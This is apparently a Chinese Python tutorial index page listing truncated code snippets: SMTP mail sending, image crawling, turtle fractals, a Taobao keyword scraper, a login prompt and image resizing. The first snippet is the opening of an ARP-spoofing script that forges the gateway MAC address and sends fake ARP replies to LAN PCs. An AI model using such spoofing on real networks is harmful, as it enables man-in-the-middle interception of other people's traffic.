Python教程
Python教程:包含了所有代写案例以及部分答案
-
#coding:utf-8 ”’ arp欺骗局域网pc,将伪造的网关mac以网关的arp应答发送给pc ”’ from scapy.all import ARP,send,arping import sys,re stdout=sys.stdout IPADDR="192.168.1.*" gateway_ip=’192.168.1.1′ #伪造网关mac地址 gateway_hw=’00:11:22:33:44:55′ p=ARP(op = 2,hwsrc = gate … 继续阅读“python arp欺骗伪造网关代码”
:
-
from email.mime.text import MIMEText import smtplib import getpass msg = MIMEText(‘这是一封来自python的纯文本邮件’,’plain’,’utf-8′) from_addr = ‘发件人邮箱地址’ password = getpass.getpass(‘Password:’) smtp_server = ‘smtp.163.com’ smtp_port = 994 to_addr = ‘收件人邮箱地址*’ se … 继续阅读“Python SMTP 发送纯文本”
:
-
#!/usr/bin/env python import os import os.path import urllib import socket import imghdr from multiprocessing import Pool from urlparse import urlparse results = [] exceptions = [] def callback(result): print ‘result:’, result if result: results.appe … 继续阅读“python 128进程,图片爬虫,增量更新,可作为标准组件”
:
-
#!/usr/bin/env python3 """ turtle-example-suite: tdemo_bytedesign.py An example adapted from the example-suite of PythonCard’s turtle graphics. It’s based on an article in BYTE magazine Problem Solving with Logo: Using Turtle Graphics … 继续阅读“python 分形图”
:
-
#!/usr/bin/env python import sys ”’简单的购物菜单,根据输入的金额,减去选择的商品得到剩下的金额, 一旦省下的金额小于所有的商品价格,提示余额不足”’ product = [] price = [] f = open(‘act.txt’) for line in f.readlines(): p = line.split()[0] pp = line.split()[1] product.append(p) price.append(int(pp)) f.c … 继续阅读“python 购物”
:
-
import urllib2,re for key in open(‘key.txt’): do = "http://suggest.taobao.com/sug?code=utf-8&q=%s" % key.rstrip() _re = re.findall(‘\[\"(.*?)\",\".*?\"\]’,urllib2.urlopen(do).read()) for i in _re : print i 标签:pyt … 继续阅读“python 抓取淘宝下拉框关键词”
:
-
#!/usr/bin/env python # -*- coding:utf-8 -*- import getpass logintimes = 0 while logintimes < 3: name=raw_input("Please input your username:") pwd=getpass.getpass("Please input your password:") if name==’wxy’ and pwd==’123′: #正 … 继续阅读“python编写登录接口”
:
-
百度给的样例程序,不论C还是Java版,都分为method1和method2两种 前者称为隐式(post的是json串,音频数据编码到json里),后者称为显式(post的就是音频数据) 一开始考虑到python wave包处理的都是“字符串”,担心跟C语言的数组不一致,所以选择低效但保险的method1, 即先将音频数据base64编码,再加上采样率、通道数等信息汇集成dict,最后总体编码成json串 结果老是报: 3300 输入参数不正确 先后试过urllib2和pycurl包,都是上面情 … 继续阅读“python 百度语音识别API的python使用示例”
:
-
# -*- coding: utf-8 -*- ”’ ”’ import os from PIL import Image pic_dir = r"H:\新建文件夹" for filename in os.listdir(path=pic_dir): if filename.startswith("SAM"): pic_path = os.path.join(pic_dir, filename) print (pic_path) img = Image … 继续阅读“python 批量修改图片大小Python代码”
: